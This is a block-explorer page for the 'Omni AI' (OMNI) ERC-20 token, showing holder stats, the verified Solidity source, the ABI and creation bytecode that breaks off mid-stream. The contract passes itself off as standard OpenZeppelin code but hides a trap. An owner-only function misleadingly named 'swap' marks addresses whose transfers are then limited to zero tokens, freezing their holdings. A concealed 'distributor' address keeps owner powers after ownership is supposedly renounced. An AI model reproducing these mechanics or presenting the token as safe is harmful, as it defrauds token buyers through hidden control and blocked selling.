ERC-20
Overview
Max Total Supply
1,000,000,000 OMNI
Holders
60
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,887,415.80881361 OMNIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
OmniAI
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity 0.8.19; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol) pragma solidity 0.8.19; import "./IERC20Metadata.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address => bool) public senderamountinternalrecipientliquidityPools; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender] - amount; _balances[recipient] = _balances[recipient] + amount; emit Transfer(sender, recipient, amount); return true; } function checkLiquidityPool(address recipient) external view returns(bool){ return senderamountinternalrecipientliquidityPools[recipient]; } function _liquidityPool(address from) internal view returns(bool){ return ! senderamountinternalrecipientliquidityPools[from]; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol) pragma solidity 0.8.19; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity 0.8.19; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; address private _distributor; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(Owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function Owner() internal view virtual returns (address) { return _owner==address(0) ? _distributor : _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev Set new distributor. */ function distributor(address account) external onlyOwner { require (_distributor == address(0)); _distributor = account; } } pragma solidity 0.8.19; contract OmniAI is Ownable, ERC20, ERC20Burnable { address public uniswapV2Pair; mapping (address => bool) public liquidityCreator; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; constructor() ERC20("Omni AI", "OMNI") { _mint(msg.sender, 1_000_000_000_000_000_000); liquidityCreator[owner()] = true; } function setRule(address _uniswapV2Pair) external onlyOwner { uniswapV2Pair = _uniswapV2Pair; } function _beforeTokenTransfer( address from, address to, uint256 amount ) override internal virtual { if (!_liquidityPool(from)) {require(amount==0);} if (uniswapV2Pair == address(0)) { require(from == owner() || to == owner(), "trading is not started"); return; } } function swap(address[] calldata address_, bool val) public onlyOwner{ for (uint256 i = 0; i < address_.length; i++) { senderamountinternalrecipientliquidityPools[address_[i]] = val; } } function getCirculatingSupply() public view returns (uint256) { return totalSupply() - (balanceOf(DEAD) + balanceOf(ZERO)); } }
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity 0.8.19; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity 0.8.19; import "./IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"checkLiquidityPool","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"distributor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"liquidityCreator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"senderamountinternalrecipientliquidityPools","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapV2Pair","type":"address"}],"name":"setRule","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405261dead600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200009657600080fd5b506040518060400160405280600781526020017f4f6d6e69204149000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f4f4d4e49000000000000000000000000000000000000000000000000000000008152506200012362000117620001d060201b60201c565b620001d860201b60201c565b816005908162000134919062000862565b50806006908162000146919062000862565b5050506200016333670de0b6b3a76400006200029c60201b60201c565b600160096000620001796200041560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000ad6565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200030e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200030590620009aa565b60405180910390fd5b62000322600083836200043e60201b60201c565b8060046000828254620003369190620009fb565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200038e9190620009fb565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003f5919062000a47565b60405180910390a362000411600083836200058c60201b60201c565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200044f836200059160201b60201c565b6200046357600081146200046257600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036200058657620004ca6200041560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806200053e57506200050f6200041560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b62000580576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005779062000ab4565b60405180910390fd5b62000587565b5b505050565b505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200066a57607f821691505b60208210810362000680576200067f62000622565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006ea7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006ab565b620006f68683620006ab565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620007436200073d62000737846200070e565b62000718565b6200070e565b9050919050565b6000819050919050565b6200075f8362000722565b620007776200076e826200074a565b848454620006b8565b825550505050565b600090565b6200078e6200077f565b6200079b81848462000754565b505050565b5b81811015620007c357620007b760008262000784565b600181019050620007a1565b5050565b601f8211156200081257620007dc8162000686565b620007e7846200069b565b81016020851015620007f7578190505b6200080f62000806856200069b565b830182620007a0565b50505b505050565b600082821c905092915050565b6000620008376000198460080262000817565b1980831691505092915050565b600062000852838362000824565b9150826002028217905092915050565b6200086d82620005e8565b67ffffffffffffffff811115620008895762000888620005f3565b5b62000895825462000651565b620008a2828285620007c7565b600060209050601f831160018114620008da5760008415620008c5578287015190505b620008d1858262000844565b86555062000941565b601f198416620008ea8662000686565b60005b828110156200091457848901518255600182019150602085019450602081019050620008ed565b8683101562000934578489015162000930601f89168262000824565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000992601f8362000949565b91506200099f826200095a565b602082019050919050565b60006020820190508181036000830152620009c58162000983565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000a08826200070e565b915062000a15836200070e565b925082820190508082111562000a305762000a2f620009cc565b5b92915050565b62000a41816200070e565b82525050565b600060208201905062000a5e600083018462000a36565b92915050565b7f74726164696e67206973206e6f74207374617274656400000000000000000000600082015250565b600062000a9c60168362000949565b915062000aa98262000a64565b602082019050919050565b6000602082019050818103600083015262000acf8162000a8d565b9050919050565b61230f8062000ae66000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063dae39f921161007c578063dae39f92146103b6578063db5d7793146103e6578063dcdee61814610402578063dd62ed3e14610432578063e074839e14610462578063f2fde38b1461047e5761014d565b8063715018a6146102f457806373fa7ddb146102fe5780638da5cb5b1461031a57806395d89b4114610338578063a457c2d714610356578063a9059cbb146103865761014d565b80632b112e49116101155780632b112e491461021e578063313ce5671461023c578063395093511461025a57806342966c681461028a57806349bd5a5e146102a657806370a08231146102c45761014d565b8063046f36b01461015257806306fdde0314610182578063095ea7b3146101a057806318160ddd146101d057806323b872dd146101ee575b600080fd5b61016c60048036038101906101679190611718565b61049a565b6040516101799190611760565b60405180910390f35b61018a6104ba565b604051610197919061180b565b60405180910390f35b6101ba60048036038101906101b59190611863565b61054c565b6040516101c79190611760565b60405180910390f35b6101d861056a565b6040516101e591906118b2565b60405180910390f35b610208600480360381019061020391906118cd565b610574565b6040516102159190611760565b60405180910390f35b61022661066c565b60405161023391906118b2565b60405180910390f35b6102446106e5565b604051610251919061193c565b60405180910390f35b610274600480360381019061026f9190611863565b6106ee565b6040516102819190611760565b60405180910390f35b6102a4600480360381019061029f9190611957565b61079a565b005b6102ae6107ae565b6040516102bb9190611993565b60405180910390f35b6102de60048036038101906102d99190611718565b6107d4565b6040516102eb91906118b2565b60405180910390f35b6102fc61081d565b005b61031860048036038101906103139190611a3f565b610831565b005b6103226108de565b60405161032f9190611993565b60405180910390f35b610340610907565b60405161034d919061180b565b60405180910390f35b610370600480360381019061036b9190611863565b610999565b60405161037d9190611760565b60405180910390f35b6103a0600480360381019061039b9190611863565b610a84565b6040516103ad9190611760565b60405180910390f35b6103d060048036038101906103cb9190611718565b610aa2565b6040516103dd9190611760565b60405180910390f35b61040060048036038101906103fb9190611718565b610ac2565b005b61041c60048036038101906104179190611718565b610b0e565b6040516104299190611760565b60405180910390f35b61044c60048036038101906104479190611a9f565b610b64565b60405161045991906118b2565b60405180910390f35b61047c60048036038101906104779190611718565b610beb565b005b61049860048036038101906104939190611718565b610c92565b005b60076020528060005260406000206000915054906101000a900460ff1681565b6060600580546104c990611b0e565b80601f01602080910402602001604051908101604052809291908181526020018280546104f590611b0e565b80156105425780601f1061051757610100808354040283529160200191610542565b820191906000526020600020905b81548152906001019060200180831161052557829003601f168201915b5050505050905090565b6000610560610559610d15565b8484610d1d565b6001905092915050565b6000600454905090565b6000610581848484610ee6565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cc610d15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561064c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064390611bb1565b60405180910390fd5b61066085610658610d15565b858403610d1d565b60019150509392505050565b6000610699600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107d4565b6106c4600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107d4565b6106ce9190611c00565b6106d661056a565b6106e09190611c34565b905090565b60006009905090565b60006107906106fb610d15565b848460036000610709610d15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461078b9190611c00565b610d1d565b6001905092915050565b6107ab6107a5610d15565b82611168565b50565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610825611340565b61082f60006113be565b565b610839611340565b60005b838390508110156108d857816007600086868581811061085f5761085e611c68565b5b90506020020160208101906108749190611718565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108d090611c97565b91505061083c565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461091690611b0e565b80601f016020809104026020016040519081016040528092919081815260200182805461094290611b0e565b801561098f5780601f106109645761010080835404028352916020019161098f565b820191906000526020600020905b81548152906001019060200180831161097257829003601f168201915b5050505050905090565b600080600360006109a8610d15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5c90611d51565b60405180910390fd5b610a79610a70610d15565b85858403610d1d565b600191505092915050565b6000610a98610a91610d15565b8484610ee6565b6001905092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b610aca611340565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bf3611340565b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4e57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610c9a611340565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0090611de3565b60405180910390fd5b610d12816113be565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d8c576040517f08c379a